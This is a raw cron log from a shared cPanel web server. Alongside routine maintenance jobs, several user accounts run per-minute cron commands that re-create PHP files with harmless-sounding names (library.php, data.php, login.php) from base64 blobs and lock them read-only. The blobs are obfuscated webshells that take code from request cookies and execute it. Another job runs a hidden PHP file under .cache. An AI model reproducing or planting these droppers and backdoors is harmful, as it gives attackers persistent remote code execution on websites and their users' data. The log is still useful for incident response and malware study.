Mar  1 06:10:01 medusa CROND[1932]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1931]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1929]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1943]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:10:01 medusa CROND[1944]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:10:01 medusa CROND[1945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:10:01 medusa CROND[1946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:10:01 medusa CROND[1955]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:10:01 medusa CROND[1940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:10:01 medusa CROND[1952]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:10:01 medusa CROND[1939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:11:01 medusa CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:11:01 medusa CROND[7833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:11:01 medusa CROND[7834]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:11:01 medusa CROND[7835]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:11:01 medusa CROND[7838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:11:01 medusa CROND[7843]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:11:01 medusa CROND[7844]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:11:01 medusa CROND[7846]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:11:01 medusa CROND[7852]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:11:01 medusa CROND[7856]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:11:01 medusa CROND[7860]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:11:01 medusa CROND[7862]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:11:01 medusa CROND[7864]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:12:01 medusa CROND[11475]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:12:01 medusa CROND[11476]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:12:01 medusa CROND[11477]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
